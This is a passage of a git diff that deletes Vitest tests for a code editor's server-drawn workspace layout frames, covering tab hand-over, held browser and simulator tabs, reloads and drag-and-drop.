-    expect(openFileIds(store)).toEqual([first.fileId, second.fileId])
-  })
-
   it('closes the server’s copy of a tab the user closed while its hand-over was in flight', async () => {
     const store = mirroredStore()
     const kept = openDesktopFile(store, FILE_PATH)
@@ -346,110 +271,4 @@ describe('a desktop-only editor tab when the server’s frames take its workspac
     expect(editorTabIds(store)).toEqual([kept.tabId])
     expect(openFileIds(store)).toEqual([kept.fileId])
   })
-
-  it('closes the server’s copy of a tab closed after its open applied, while another was in flight', async () => {
-    const store = mirroredStore()
-    const first = openDesktopFile(store, FILE_PATH)
-    const second = openDesktopFile(store, SECOND_PATH)
-    const server = serverWith()
-    server.answer = 'pending'
-    await connect(store, server)
-    server.release(1)
-    await settle()
-    await settle()
-    expect(server.layout(WT)?.tabs.map((tab) => tab.id)).toContain(first.tabId)
-    expect(isFrameDrawnServerWorkspace(ENV, WT)).toBe(false)
-
-    store.getState().closeFile(first.fileId)
-    server.answer = 'apply'
-    server.release()
-    await settle()
-    await settle()
-    await settle()
-
-    expect(hoisted.closeSessionTab).toHaveBeenCalledTimes(1)
-    expect(hoisted.closeSessionTab).toHaveBeenCalledWith(
-      expect.objectContaining({ worktreeId: WT, tabId: first.tabId, environmentId: ENV })
-    )
-    expect(isFrameDrawnServerWorkspace(ENV, WT)).toBe(true)
-    expect(server.layout(WT)?.tabs.map((tab) => tab.id)).not.toContain(first.tabId)
-    expect(editorTabIds(store)).toEqual([second.tabId])
-    expect(openFileIds(store)).toEqual([second.fileId])
-  })
-
-  it('stays mirror-drawn when the server’s copy of a tab closed mid-hand-over cannot be closed', async () => {
-    const store = mirroredStore()
-    const closed = openDesktopFile(store, FILE_PATH)
-    const server = serverWith()
-    hoisted.closeSessionTab.mockResolvedValue('failed')
-    server.answer = 'pending'
-    await connect(store, server)
-
-    store.getState().closeFile(closed.fileId)
-    server.answer = 'apply'
-    server.release()
-    await settle()
-    await settle()
-
-    expect(hoisted.closeSessionTab).toHaveBeenCalledTimes(1)
-    expect(isFrameDrawnServerWorkspace(ENV, WT)).toBe(false)
-    expect(editorTabIds(store)).toEqual([])
-  })
-
-  it('saves a handed-over file through the server, never this machine’s disk', async () => {
-    const store = mirroredStore()
-    store.setState({
-      repos: [{ ...TEST_REPO, id: 'repo', path: '/worktree', executionHostId: RUNTIME_HOST }],
-      worktreesByRepo: {
-        repo: [makeWorktree({ id: WT, repoId: 'repo', path: '/worktree', hostId: RUNTIME_HOST })]
-      }
-    })
-    const { fileId } = openDesktopFile(store, FILE_PATH)
-    // Loaded from the server's disk before the hand-over.
-    store.getState().setLastKnownDiskSignature(fileId, getDiskBaselineSignature('on disk'))
-    editDraft(store, fileId, 'unsaved')
-    await connect(store, serverWith())
-    expect(isFrameDrawnServerWorkspace(ENV, WT)).toBe(true)
-
-    const file = store.getState().openFiles.find((open) => open.id === fileId)!
-    // The saved-file event goes nowhere here.
-    vi.stubGlobal('window', { ...window, dispatchEvent: () => true })
-    const saves = createEditorSaveQueue(store)
-    const saved = await saves.queueSave(file, '', 'user')
-    saves.dispose()
-    expect(saved).toBe('written')
-
-    expect(hoisted.writeRuntimeFile).toHaveBeenCalledTimes(1)
-    expect(hoisted.writeRuntimeFile.mock.calls[0]?.[0]).toMatchObject({
-      target: { kind: 'environment', environmentId: ENV },
-      worktreeId: WT
-    })
-    expect(hoisted.writeRuntimeFile.mock.calls[0]?.[2]).toBe('unsaved')
-  })
-})
-
-/** Every layout.apply close this window sent anywhere. */
-const layoutCloses = () => hoisted.sent.filter(({ command }) => command.type === 'closeTabs')
-
-describe('closing a desktop editor tab after the hand-over', () => {
-  it('closes a handed-over tab in the gated workspace by session.tabs.close, as other closes go', async () => {
-    const store = mirroredStore()
-    const { fileId, tabId } = openDesktopFile(store, FILE_PATH)
-    const server = serverWith()
-    await connect(store, server)
-    expect(isFrameDrawnServerWorkspace(ENV, WT)).toBe(true)
-
-    store.getState().closeFile(fileId)
-    await settle()
-    await settle()
-
-    expect(hoisted.closeSessionTab).toHaveBeenCalledTimes(1)
-    expect(hoisted.closeSessionTab).toHaveBeenCalledWith(
-      expect.objectContaining({ worktreeId: WT, tabId, environmentId: ENV, reason: 'user' })
-    )
-    expect(layoutCloses()).toEqual([])
-    expect(server.layout(WT)?.tabs.map((tab) => tab.id)).not.toContain(tabId)
-    expect(editorTabIds(store)).toEqual([])
-    expect(openFileIds(store)).toEqual([])
-  })
 })
diff --git a/src/renderer/src/runtime/workspace-layout/server/server-layout-frames-handover.test.ts b/src/renderer/src/runtime/workspace-layout/server/server-layout-frames-handover.test.ts
index e71fca0a5af..13975236257 100644
--- a/src/renderer/src/runtime/workspace-layout/server/server-layout-frames-handover.test.ts
+++ b/src/renderer/src/runtime/workspace-layout/server/server-layout-frames-handover.test.ts
@@ -2,20 +2,11 @@ import { afterEach, beforeEach, describe, expect, it, vi, type Mock } from 'vite
 import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
 import type * as FrameDrawnModule from '../../web-session-tabs-sync/frame-drawn-server-workspaces'
 import type { AppState } from '@/store/types'
-import { buildWorkspaceSessionPayload } from '@/lib/workspace/persistence/workspace-session'
-import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host'
 import { toRemoteRuntimePtyId } from '../../../../../shared/remote-runtime/remote-runtime-pty-id'
 import { toWebTerminalSurfaceTabId } from '../../../../../shared/workspace-layout/terminal-surface-id'
-import { loadWorkspaceLayoutWithoutReport } from '../../../../../shared/workspace-layout/workspace-layout-load'
-import { nameBasedLoadContext } from '../../../../../shared/workspace-layout/workspace-layout-minted-ids'
-import {
-  publishWorkspaceLayout,
-  type PublishedWorkspaceLayout
-} from '../../../../../shared/workspace-layout/workspace-layout-published'
 import { createStoreSessionMockApi } from '../../../store/testing/app-store-session-api.test-fixture'
 import { _resetLayoutFramePositionForTests } from '../frames/layout-frame-position'
 import { mainLayoutFrameSender } from '../testing/main-loaded-layout-frames.test-fixture'
-import { serverLayoutForDesktop } from './server-layout-frame-ids'
 import {
   CAPABLE,
   ENV,
@@ -32,14 +23,10 @@ import {
   sessionTabs,
   settle,
   surface,
-  treeOf,
   type TestStore
 } from './testing/server-layout-frames.test-fixture'
 import { installLayoutFrameApplyCheck } from '../testing/workspace-layout-frame-apply-check.test-fixture'
-import {
-  isFrameDrawnServerWorkspace,
-  resetFrameDrawnServerWorkspacesForTests
-} from '../../web-session-tabs-sync/frame-drawn-server-workspace-set'
+import { resetFrameDrawnServerWorkspacesForTests } from '../../web-session-tabs-sync/frame-drawn-server-workspace-set'
 import { resetMirroredTerminalHandlesForTests } from '../../web-session-tabs-sync/mirrored-terminal-handle-index'
 import { resetWebSessionTabsSyncTestState } from '../../web-session-tabs-sync/testing/web-session-tabs-sync.test-fixture'
 
@@ -91,17 +78,6 @@ const WITH_TAB_2 = serverLayout([
   serverTerminalTab('host-tab-2', SECOND_LEAF_ID, 'server-pty-2', 2)
 ])
 
-/** The workspace as the store shows it, in the published shape the frames translate to. */
-function publishedStoreTree(state: AppState): PublishedWorkspaceLayout {
-  const host = toRuntimeExecutionHostId(ENV)
-  const { layout } = loadWorkspaceLayoutWithoutReport(
-    host,
-    buildWorkspaceSessionPayload(state),
-    nameBasedLoadContext()
-  )
-  return publishWorkspaceLayout(layout.workspaces[WT]!, host)
-}
-
 /** Every state the store passes through, from now until `stop`. */
 function recordStates(store: TestStore) {
   const states: AppState[] = [store.getState()]
@@ -148,43 +124,6 @@ afterEach(() => {
   expect(check.failures).toEqual([])
 })
 
-describe('mirror to frames', () => {
-  it('gates the workspace before the snapshot shows, then shows it with no empty state and no reattach', async () => {
-    const store = mirroredStore()
-    const mirrorTree = treeOf(store.getState(), WT)
-    expect(mirrorTree.bindings).toEqual({ [TAB_1]: { [LEAF_ID]: REMOTE_1 } })
-    // The server's snapshot translates to exactly the tree the mirror drew.
-    const handleOf = (hostTabId: string, leafId: string) =>
-      hostTabId === 'host-tab-1' && leafId === LEAF_ID ? 'terminal-1' : null
-    expect(serverLayoutForDesktop(SERVER_LAYOUT, ENV, handleOf)).toEqual(
-      publishedStoreTree(store.getState())
-    )
-    install(store)
-    setServers(store, [CAPABLE])
-    const stream = streams.openTo(ENV)
-    const recorded = recordStates(store)
-
-    streams.send(stream, {
-      type: 'snapshot',
-      workspaces: [{ key: WT, layout: SERVER_LAYOUT }],
-      seq: 1,
-      epoch: 'e'
-    })
-
-    // Before the frame's flush: the gate is up and the store still shows the mirror's tree.
-    expect(isFrameDrawnServerWorkspace(ENV, WT)).toBe(true)
-    expect(check.fullBuilt).toEqual([])
-    expect(treeOf(store.getState(), WT)).toEqual(mirrorTree)
-    await settle()
-    recorded.stop()
-
-    // Presence: the frames built the workspace; the same tree needed no store write at all.
-    expect(check.fullBuilt).toEqual([WT])
-    expect(recorded.states).toHaveLength(1)
-    expect(treeOf(store.getState(), WT)).toEqual(mirrorTree)
-  })
-})
-
 describe('a terminal handle and the frame that binds its pane, in either order', () => {
   it('shows the pane pending until session.tabs has its handle, then binds it once in place', async () => {
     const { store, stream, frames } = await frameDrawnStore()
@@ -252,54 +191,4 @@ describe('a terminal handle and the frame that binds its pane, in either order',
     expect(bindingOf(firstShown!, TAB_2, SECOND_LEAF_ID)).toBe(bound)
     expect(bindingChanges(recorded.states, TAB_2, SECOND_LEAF_ID)).toBe(1)
   })
-
-  it('rebinds a pane that stays bound exactly once when its handle is replaced', async () => {
-    const { store } = await frameDrawnStore()
-    expect(bindingOf(store.getState(), TAB_1, LEAF_ID)).toBe(REMOTE_1)
-    const recorded = recordStates(store)
-
-    mirrorSnapshot(store, ENV, sessionTabs([surface('host-tab-1', LEAF_ID, 'terminal-1b')], 2))
-    await settle()
-    recorded.stop()
-
-    expect(bindingOf(store.getState(), TAB_1, LEAF_ID)).toBe(
-      toRemoteRuntimePtyId('terminal-1b', ENV)
-    )
-    expect(bindingChanges(recorded.states, TAB_1, LEAF_ID)).toBe(1)
-    for (const state of recorded.states) {
-      expect((state.tabsByWorktree[WT] ?? []).map((tab) => tab.id)).toEqual([TAB_1])
-    }
-  })
-})
-
-describe('a workspace handed back to the mirror', () => {
-  it('is not drawn from the stopped stream’s frames while the stream reconnects', async () => {
-    const other = 'repo::/other-worktree'
-    hoisted.owners.set(other, ENV)
-    const store = mirroredStore()
-    install(store)
-    setServers(store, [CAPABLE])
-    const stream = streams.openTo(ENV)
-    const frames = mainLayoutFrameSender()
-    const otherLayout = {
-      ...serverLayout([serverTerminalTab('host-tab-9', LEAF_ID, 'server-pty-9')]),
-      worktreeId: other
-    }
-    streams.send(stream, senderSnapshot(frames, { [WT]: SERVER_LAYOUT, [other]: otherLayout }, 1))
-    await settle()
-    stream.onStatus({ state: 'lost' })
-    stream.onStatus({ state: 'connecting' })
-    await settle()
-
-    // The mirror's first snapshot of the other workspace, after it took it back.
-    mirrorSnapshot(store, ENV, {
-      ...sessionTabs([surface('host-tab-8', LEAF_ID, 'terminal-8')], 1),
-      worktree: other
-    })
-    await settle()
-
-    expect((store.getState().tabsByWorktree[other] ?? []).map((tab) => tab.id)).toEqual([
-      toWebTerminalSurfaceTabId('host-tab-8')
-    ])
-  })
 })
diff --git a/src/renderer/src/runtime/workspace-layout/server/server-layout-frames-held-tabs.test.ts b/src/renderer/src/runtime/workspace-layout/server/server-layout-frames-held-tabs.test.ts
deleted file mode 100644
index 62409cd8b04..00000000000
--- a/src/renderer/src/runtime/workspace-layout/server/server-layout-frames-held-tabs.test.ts
+++ /dev/null
@@ -1,453 +0,0 @@
-import type * as RuntimeRpcCallModule from '@/runtime/rpc/calls/runtime-rpc-call'
-import { afterEach, beforeEach, describe, expect, it, vi, type Mock } from 'vitest'
-import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
-import type * as ResolveOwnerModule from '@/lib/workspace/ownership/resolve-owner'
-import type * as WorktreeRuntimeOwnerModule from '@/lib/workspace/ownership/worktree-runtime-owner'
-
-import type * as FrameDrawnModule from '../../web-session-tabs-sync/frame-drawn-server-workspaces'
-import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
-import type {
-  PublishedTab,
-  PublishedWorkspaceLayout
-} from '../../../../../shared/workspace-layout/workspace-layout-published'
-import { toWebTerminalSurfaceTabId } from '../../../../../shared/workspace-layout/terminal-surface-id'
-import {
-  DESKTOP_CREATED_SERVER_TAB_HOLDS,
-  _reloadDesktopCreatedServerTabsForTests,
-  _resetDesktopCreatedServerTabsForTests
-} from '@/lib/desktop-created-server-tabs'
-import { createStoreSessionMockApi } from '../../../store/testing/app-store-session-api.test-fixture'
-import { _resetLayoutFramePositionForTests } from '../frames/layout-frame-position'
-import { useAppStore } from '@/store/index'
-import { stageWebRuntimeBrowserTab } from '../../browser/creation/web-runtime-browser-tab-staging'
-import {
-  _resetStagedBrowserFrameHandoversForTests,
-  wasStagedBrowserTabHandedToFrames
-} from '@/lib/staged-browser-frame-handover'
-import { ensureSimulatorTab } from '@/lib/simulator/tabs/ensure-simulator-tab'
-import type { DragEndEvent } from '@dnd-kit/core'
-import { commitTabDragDrop } from '@/components/tab-group/tab-drag-drop-commit'
-import '@/components/tab-bar/tab-move-to-pane-column'
-import '@/components/tab-group/tab-group-panel-split-target'
-import { mainLayoutFrameSender } from '../testing/main-loaded-layout-frames.test-fixture'
-import {
-  CAPABLE,
-  ENV,
-  HOST_GROUP,
-  LEAF_ID,
-  SECOND_LEAF_ID,
-  SERVER_LAYOUT,
-  WT,
-  createFakeLayoutStreams,
-  createServerHarness,
-  mirrorSnapshot,
-  senderSnapshot,
-  serverLayout,
-  serverTerminalTab,
-  sessionTabs,
-  settle,
-  surface,
-  type TestStore
-} from './testing/server-layout-frames.test-fixture'
-import { installLayoutFrameApplyCheck } from '../testing/workspace-layout-frame-apply-check.test-fixture'
-import '../frames/workspace-layout-frame-sync'
-import { resetFrameDrawnServerWorkspacesForTests } from '../../web-session-tabs-sync/frame-drawn-server-workspace-set'
-import { resetMirroredTerminalHandlesForTests } from '../../web-session-tabs-sync/mirrored-terminal-handle-index'
-import { resetWebSessionTabsSyncTestState } from '../../web-session-tabs-sync/testing/web-session-tabs-sync.test-fixture'
-
-type Subscribe = (...args: never[]) => { close: () => void }
-type Sent = { method: string; params: unknown }
-const hoisted = vi.hoisted(
-  (): {
-    owners: Map<string, string>
-    resync: Mock<(environmentId: string, worktreeId: string) => Promise<void>>
-    subscribe: Subscribe | null
-    sent: Sent[]
-  } => ({ owners: new Map(), resync: vi.fn(), subscribe: null, sent: [] })
-)
-
-vi.mock('../../../../../shared/layout-owner-switch', () => ({ ORCA_LAYOUT_OWNER_IS_MAIN: true }))
-vi.mock('sonner', () => ({ toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() } }))
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const actual = await importOriginal<typeof AgentStatusModule>()
-  return { ...actual, detectAgentStatusFromTitle: vi.fn().mockReturnValue(null) }
-})
-vi.mock('../frames/runtime-layout-client', () => ({
-  subscribeRuntimeLayout: (...args: never[]) => hoisted.subscribe!(...args)
-}))
-vi.mock('../../web-session-tabs-sync/mirrored-workspace-owner', () => ({
-  mirroredRuntimeEnvironmentIdForWorkspace: (_state: unknown, key: string) =>
-    hoisted.owners.get(key) ?? null
-}))
-vi.mock('@/lib/workspace/ownership/resolve-owner', async (importOriginal) => ({
-  ...(await importOriginal<typeof ResolveOwnerModule>()),
-  runtimeEnvironmentIdUnlessTwin: (_state: unknown, key: string) => hoisted.owners.get(key) ?? null
-}))
-vi.mock('@/lib/workspace/ownership/worktree-runtime-owner', async (importOriginal) => ({
-  ...(await importOriginal<typeof WorktreeRuntimeOwnerModule>()),
-  runtimeEnvironmentIdOrLocalUnlessTwin: (_state: unknown, key: string) =>
-    hoisted.owners.get(key) ?? null
-}))
-vi.mock('../../web-session-tabs-sync/frame-drawn-server-workspaces', async (importOriginal) => ({
-  ...(await importOriginal<typeof FrameDrawnModule>()),
-  resyncMirroredServerWorkspace: hoisted.resync
-}))
-// Every RPC this window sends, whichever client sends it.
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) => {
-  const actual = await importOriginal<typeof RuntimeRpcCallModule>()
-  return {
-    ...actual,
-    callRuntimeRpc: (_target: RuntimeClientTarget, method: string, params?: unknown) => {
-      hoisted.sent.push({ method, params })
-      // A call that fails releases what it held: no hold outlives its test.
-      return Promise.reject(new Error('not connected'))
-    }
-  }
-})
-
-/** This desktop's localStorage, which outlives a reload. */
-const storage = new Map<string, string>()
-vi.stubGlobal('localStorage', {
-  getItem: (key: string) => storage.get(key) ?? null,
-  setItem: (key: string, value: string) => storage.set(key, value),
-  removeItem: (key: string) => storage.delete(key)
-})
-
-const api = createStoreSessionMockApi()
-const environmentCall = vi.fn((args: { method: string; params?: unknown }) => {
-  hoisted.sent.push({ method: args.method, params: args.params })
-  return Promise.resolve({
-    id: 'test',
-    ok: false as const,
-    error: { code: 'not_connected', message: 'not connected' }
-  })
-})
-Object.assign(api.runtimeEnvironments, { call: environmentCall })
-
-const streams = createFakeLayoutStreams()
-hoisted.subscribe = streams.subscribe
-
-const TAB_1 = toWebTerminalSurfaceTabId('host-tab-1')
-const TAB_2 = toWebTerminalSurfaceTabId('host-tab-2')
-const GROUP_2 = 'host-group-2'
-const { setServers, install, uninstallAll } = createServerHarness(hoisted)
-
-/** The server's layout once it opened a second terminal tab: a records frame that rebuilds WT. */
-const WITH_TAB_2 = serverLayout([
-  serverTerminalTab('host-tab-1', LEAF_ID, 'server-pty-1'),
-  serverTerminalTab('host-tab-2', SECOND_LEAF_ID, 'server-pty-2', 2)
-])
-
-/** The server's two groups, split by another client: `first` holds tab 1, `second` tab 2. */
-function serverSplit(
-  first = HOST_GROUP,
-  second = GROUP_2,
-  ratio?: number
-): PublishedWorkspaceLayout {
-  return {
-    ...WITH_TAB_2,
-    groups: [
-      { id: first, tabIds: ['host-tab-1'] },
-      { id: second, tabIds: ['host-tab-2'] }
-    ],
-    groupLayout: {
-      type: 'split',
-      direction: 'vertical',
-      first: { type: 'leaf', groupId: first },
-      second: { type: 'leaf', groupId: second },
-      ...(ratio === undefined ? {} : { ratio })
-    }
-  }
-}
-
-const tabIds = (store: TestStore) =>
-  (store.getState().unifiedTabsByWorktree[WT] ?? []).map((tab) => tab.id)
-const groups = (store: TestStore) =>
-  (store.getState().groupsByWorktree[WT] ?? []).map((group) => group.tabOrder)
-const groupIds = (store: TestStore) =>
-  (store.getState().groupsByWorktree[WT] ?? []).map((group) => group.id)
-/** The app store as it loads: tests that drive app-store paths start from it. */
-const APP_STORE_AT_LOAD = useAppStore.getState()
-
-/** As frameDrawnStore, on the app store, which the staging and drag paths write. */
-async function appStoreFrameDrawn(layout = SERVER_LAYOUT) {
-  const store = useAppStore
-  hoisted.owners.set(WT, ENV)
-  mirrorSnapshot(store, ENV, sessionTabs([surface('host-tab-1', LEAF_ID, 'terminal-1')], 1))
-  install(store)
-  setServers(store, [CAPABLE])
-  const stream = streams.openTo(ENV)
-  const frames = mainLayoutFrameSender()
-  streams.send(stream, senderSnapshot(frames, { [WT]: SERVER_LAYOUT }, 1))
-  if (layout !== SERVER_LAYOUT) {
-    streams.send(stream, frames.records(WT, layout))
-  }
-  await settle()
-  return { store, stream, frames }
-}
-
-let check: ReturnType<typeof installLayoutFrameApplyCheck>
-beforeEach(() => {
-  useAppStore.setState(APP_STORE_AT_LOAD, true)
-  hoisted.owners.clear()
-  hoisted.resync.mockReset().mockResolvedValue(undefined)
-  hoisted.sent.length = 0
-  streams.all.length = 0
-  resetWebSessionTabsSyncTestState()
-  resetFrameDrawnServerWorkspacesForTests()
-  resetMirroredTerminalHandlesForTests()
-  _resetLayoutFramePositionForTests()
-  storage.clear()
-  _resetDesktopCreatedServerTabsForTests()
-  check = installLayoutFrameApplyCheck()
-})
-afterEach(() => {
-  uninstallAll()
-  check.uninstall()
-  expect(check.failures).toEqual([])
-})
-
-/** A client-hosted browser tab staged as the create path stages it: this desktop's alone. */
-function stageHeld(groupId = HOST_GROUP) {
-  const staged = stageWebRuntimeBrowserTab({
-    environmentId: ENV,
-    worktreeId: WT,
-    remotePageId: 'client-page-1',
-    activate: true,
-    clientHosted: true,
-    targetGroupId: groupId
-  })!
-  expect(staged.tabId).toBeDefined()
-  return { staged, held: staged.tabId! }
-}
-
-const groupOf = (store: TestStore, tabId: string) =>
-  store.getState().unifiedTabsByWorktree[WT]?.find((tab) => tab.id === tabId)?.groupId
-const shownIn = (store: TestStore, groupId: string) =>
-  store.getState().groupsByWorktree[WT]?.find((group) => group.id === groupId)?.activeTabId
-const mentions = (...ids: string[]) =>
-  hoisted.sent.filter((call) => ids.some((id) => JSON.stringify(call.params ?? null).includes(id)))
-
-/** A reload: streams, frame state and the in-memory record go; restored rows and storage stay. */
-function reload(): void {
-  uninstallAll()
-  streams.all.length = 0
-  resetFrameDrawnServerWorkspacesForTests()
-  resetMirroredTerminalHandlesForTests()
-  _resetLayoutFramePositionForTests()
-  _reloadDesktopCreatedServerTabsForTests()
-}
-
-async function firstFrameAfterReload(store: TestStore) {
-  install(store)
-  setServers(store, [{ ...CAPABLE, runtimeId: 'runtime-2' }])
-  const stream = streams.openTo(ENV)
-  streams.send(stream, senderSnapshot(mainLayoutFrameSender(), { [WT]: WITH_TAB_2 }, 1))
-  await settle()
-}
-
-describe('a held tab in a server’s frame-drawn workspace', () => {
-  it('keeps its tab, page and handle in its group position through a frame and a reconnect', async () => {
-    const { store, stream, frames } = await appStoreFrameDrawn()
-    const { staged, held } = stageHeld()
-    const kept = () => {
-      const state = store.getState()
-      return {
-        group: groupOf(store, held),
-        order: state.groupsByWorktree[WT]?.find((group) => group.id === HOST_GROUP)?.tabOrder,
-        page: state.browserPagesByWorkspace[staged.workspaceId]?.map((page) => page.id),
-        handle: state.remoteBrowserPageHandlesByPageId[staged.pageId]
-      }
-    }
-    const before = kept()
-    expect(before.order).toEqual([TAB_1, held])
-
-    streams.send(stream, frames.records(WT, WITH_TAB_2))
-    await settle()
-    // Presence: the frame's build ran and drew the server's new tab.
-    expect(check.workspaceBuilt).toContain(WT)
-    expect(kept()).toEqual({ ...before, order: [TAB_1, held, TAB_2] })
-    stream.onStatus({ state: 'lost' })
-    stream.onStatus({ state: 'connecting' })
-    check.forgetBuilds()
-    streams.send(stream, senderSnapshot(mainLayoutFrameSender(), { [WT]: WITH_TAB_2 }, 5))
-    await settle()
-    expect(check.fullBuilt).toContain(WT)
-    expect(kept()).toEqual({ ...before, order: [TAB_1, held, TAB_2] })
-    // Staging and the frames send nothing that names it.
-    expect(mentions(staged.workspaceId, staged.pageId, held)).toEqual([])
-  })
-
-  it('opened to the side, shows as the user’s tab in the nearest server group, with the server’s tree', async () => {
-    const { store, stream, frames } = await appStoreFrameDrawn(serverSplit())
-    const serverTree = store.getState().layoutByWorktree[WT]
-    const side = store.getState().createEmptySplitGroup(WT, GROUP_2, 'right', { activate: true })!
-    const { held } = stageHeld(side)
-    // Precondition: drawn in the window's own group, which the user is in.
-    expect(groupOf(store, held)).toBe(side)
-    expect(store.getState().activeGroupIdByWorktree[WT]).toBe(side)
-
-    streams.send(stream, frames.records(WT, serverSplit(HOST_GROUP, GROUP_2, 0.7)))
-    await settle()
-    expect(groups(store)).toEqual([[TAB_1], [TAB_2, held]])
-    expect(store.getState().layoutByWorktree[WT]).toEqual({ ...serverTree, ratio: 0.7 })
-    expect(store.getState().activeGroupIdByWorktree[WT]).toBe(GROUP_2)
-    expect(shownIn(store, GROUP_2)).toBe(held)
-  })
-
-  it('moves unshown when another client closes its group while the user is in another', async () => {
-    const { store, stream, frames } = await appStoreFrameDrawn(serverSplit())
-    const { held } = stageHeld(GROUP_2)
-    store.getState().focusGroup(WT, HOST_GROUP)
-    // Precondition: shown in the second group; the user is on tab 1 in the first.
-    expect(shownIn(store, GROUP_2)).toBe(held)
-    expect(store.getState().activeGroupIdByWorktree[WT]).toBe(HOST_GROUP)
-    expect(shownIn(store, HOST_GROUP)).toBe(TAB_1)
-
-    streams.send(stream, frames.records(WT, WITH_TAB_2))
-    await settle()
-    expect(groups(store)).toEqual([[TAB_1, held, TAB_2]])
-    expect(store.getState().activeGroupIdByWorktree[WT]).toBe(HOST_GROUP)
-    expect(shownIn(store, HOST_GROUP)).toBe(TAB_1)
-  })
-
-  it('dragged to another group, moves here only: no RPC names it', async () => {
-    const { store } = await appStoreFrameDrawn(serverSplit())
-    const { staged, held } = stageHeld(HOST_GROUP)
-    const finishDrag = vi.fn()
-    commitTabDragDrop({
-      // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: a drop with no pointer: the commit reads only active.data, its rect and over.data.
-      event: {
-        active: {
-          id: held,
-          data: {
-            current: {
-              kind: 'tab',
-              worktreeId: WT,
-              groupId: HOST_GROUP,
-              unifiedTabId: held,
-              visibleTabId: held,
-              tabType: 'browser',
-              label: 'Docs'
-            }
-          },
-          rect: { current: { initial: null } }
-        },
-        over: {
-          id: GROUP_2,
-          data: { current: { kind: 'pane-body', worktreeId: WT, groupId: GROUP_2 } }
-        }
-      } as unknown as DragEndEvent,
-      worktreeId: WT,
-      dragGeometryRef: { current: null },
-      dropUnifiedTab: store.getState().dropUnifiedTab,
-      reorderUnifiedTabs: store.getState().reorderUnifiedTabs,
-      finishDrag
-    })
-    await settle()
-    // Presence: the drop ran and moved the tab here.
-    expect(finishDrag).toHaveBeenCalled()
-    expect(groupOf(store, held)).toBe(GROUP_2)
-    expect(groupIds(store)).toEqual([HOST_GROUP, GROUP_2])
-    expect(mentions(staged.workspaceId, held)).toEqual([])
-  })
-})
-
-describe('a simulator tab opened on this desktop in a server’s frame-drawn workspace', () => {
-  it('survives the next server frame and a reload’s first frame', async () => {
-    const { store, stream, frames } = await appStoreFrameDrawn()
-    const simulator = ensureSimulatorTab(WT, { targetGroupId: HOST_GROUP })!
-    expect(groups(store)).toEqual([[TAB_1, simulator]])
-
-    streams.send(stream, frames.records(WT, WITH_TAB_2))
-    await settle()
-    // Presence: the frame's build ran and drew the server's new tab.
-    expect(check.workspaceBuilt).toContain(WT)
-    expect(groups(store)).toEqual([[TAB_1, simulator, TAB_2]])
-
-    reload()
-    await firstFrameAfterReload(store)
-    expect(groups(store)).toEqual([[TAB_1, simulator, TAB_2]])
-    expect(mentions(simulator)).toEqual([])
-  })
-
-  it('follows the server’s frames once the server publishes it: its close drops it here', async () => {
-    const { store, stream, frames } = await appStoreFrameDrawn()
-    const simulator = ensureSimulatorTab(WT, { targetGroupId: HOST_GROUP })!
-    expect(DESKTOP_CREATED_SERVER_TAB_HOLDS.isTabHeld(WT, simulator)).toBe(true)
-    const published: PublishedTab = {
-      id: simulator,
-      kind: 'simulator',
-      entityId: simulator,
-      executionHostId: 'local',
-      createdAt: 3,
-      customTitle: null,
-      color: null
-    }
-    streams.send(stream, frames.records(WT, serverLayout([...SERVER_LAYOUT.tabs, published])))
-    await settle()
-    expect(DESKTOP_CREATED_SERVER_TAB_HOLDS.isTabHeld(WT, simulator)).toBe(false)
-
-    streams.send(stream, frames.records(WT, WITH_TAB_2))
-    await settle()
-    expect(tabIds(store)).toEqual([TAB_1, TAB_2])
-  })
-})
-
-describe('a held tab across a window reload', () => {
-  it('survives the first server frame after the reload', async () => {
-    const { store } = await appStoreFrameDrawn()
-    const { held } = stageHeld()
-    expect(groups(store)).toEqual([[TAB_1, held]])
-
-    reload()
-    await firstFrameAfterReload(store)
-    // Presence: the frame drew the server's new tab.
-    expect(tabIds(store)).toContain(TAB_2)
-    expect(groups(store)).toEqual([[TAB_1, held, TAB_2]])
-  })
-})
-
-describe('a staged server-hosted browser tab (L285)', () => {
-  /** The server's layout once it published the page: its own tab and record for it. */
-  const WITH_PAGE = (() => {
-    const layout = serverLayout([
-      serverTerminalTab('host-tab-1', LEAF_ID, 'server-pty-1'),
-      { ...serverTerminalTab('server-browser-tab', LEAF_ID, null, 2), kind: 'browser' as const }
-    ])
-    const browserTab = { ...layout.tabs[1]!, entityId: 'server-browser-1' }
-    delete browserTab.terminal
-    return {
-      ...layout,
-      tabs: [layout.tabs[0]!, browserTab],
-      browserTabs: [{ id: 'server-browser-1', pageIds: ['server-page-1'] }]
-    }
-  })()
-
-  it('stays through a frame that does not list its page, and hands over to the one that does', async () => {
-    _resetStagedBrowserFrameHandoversForTests()
-    const { store, stream, frames } = await appStoreFrameDrawn()
-    const staged = stageWebRuntimeBrowserTab({
-      environmentId: ENV,
-      worktreeId: WT,
-      remotePageId: 'server-page-1',
-      activate: true,
-      targetGroupId: HOST_GROUP
-    })!
-
-    // Another client's change rebuilds the workspace before the server publishes the page.
-    streams.send(stream, frames.records(WT, WITH_TAB_2))
-    await settle()
-    expect(check.workspaceBuilt).toContain(WT)
-    expect(tabIds(store)).toContain(staged.tabId)
-
-    check.forgetBuilds()
-    streams.send(stream, frames.records(WT, WITH_PAGE))
-    await settle()
-    expect(check.workspaceBuilt).toContain(WT)
-    expect(tabIds(store)).not.toContain(staged.tabId)
-    expect(tabIds(store)).toContain('server-browser-tab')
-    expect(wasStagedBrowserTabHandedToFrames(staged.workspaceId, 'server-page-1')).toBe(true)
-    expect(DESKTOP_CREATED_SERVER_TAB_HOLDS.isTabHeld(WT, staged.workspaceId)).toBe(false)
-  })
-})
diff --git a/src/renderer/src/runtime/workspace-layout/server/server-layout-frames.test.ts b/src/renderer/src/runtime/workspace-layout/server/server-layout-frames.test.ts
index 5ec8f77b0c8..171bbc687dc 100644
--- a/src/renderer/src/runtime/workspace-layout/server/server-layout-frames.test.ts
+++ b/src/renderer/src/runtime/workspace-layout/server/server-layout-frames.test.ts
@@ -15,18 +15,12 @@ import { installLayoutFrameApplyCheck } from '../testing/workspace-layout-frame-
 import {
